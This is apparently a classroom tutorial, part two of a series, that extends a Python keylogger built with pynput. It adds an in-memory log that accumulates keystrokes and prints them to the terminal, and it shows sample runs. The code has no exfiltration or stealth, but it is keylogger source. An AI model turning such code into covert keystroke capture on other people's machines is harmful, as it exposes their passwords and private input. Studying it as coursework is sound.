Part 2: Python Keylogger

Contents

Time required: 30 minutes

NOTE: Please program this series of tutorials in Windows and Linux.

NOTE: pynput is supported in the latest version of Kali Linux. You must update Kali.

```
sudo apt update
# You may need to run this a couple of times until there are no more updates
sudo apt dist_upgrade -y
```

KeyLogger 2

Let's add an in-memory log file to the program using a string variable. We will be saving separate copies of our programs as a backup in case something goes wrong when we add new features.

1. Save **frog_1.py** as **frog_2.py**

```
14  class TheFrog():
15      def __init__(self):
16          # Create string variable for keypress log
17          self.log = ""
```

2. The only change to the KeyLogger class is to add the **log** variable at the beginning of the init method as shown. This will accumulate keystrokes in this log and display them to the terminal.

```
33  # -------------------- PROCESS KEY PRESS -------------------------------- #
34      def process_key_press(self, key):
35          """Callback function whenever a key is pressed"""
36          # Add each key strike to a log
37          # Convert keycode object to string
38          self.log = self.log + str(key)
39          print(self.log)
40
41          # Press the Esc key to exit the program
42          if key == keyboard.Key.esc:
43              print("Exiting Key Logger")
44              return False
```

3. The **process_key_press()** method adds each keystroke to the log variable. It is printed with each keypress.

Run the program in both operating systems. Each keystroke will be logged.

Example run in Windows:

```
't'
't''h'
't''h''i'
't''h''i''s'
't''h''i''s'Key.space
't''h''i''s'Key.space'i'
't''h''i''s'Key.space'i''s'
't''h''i''s'Key.space'i''s'Key.space
't''h''i''s'Key.space'i''s'Key.space'f'
't''h''i''s'Key.space'i''s'Key.space'f''u'
't''h''i''s'Key.space'i''s'Key.space'f''u''n'
't''h''i''s'Key.space'i''s'Key.space'f''u''n'Key.print_screen
```

Notice that the keylogger even captured the print screen key used to capture the screen shot.

Linux

Change to your Code directory.

Run the program at the terminal prompt.

python3 frog_2.py

Example run in Linux:

Assignment Submission

1. Attach all program files.
2. Attach a screenshot from Windows and Linux of your results.
3. Submit the assignment in BlackBoard.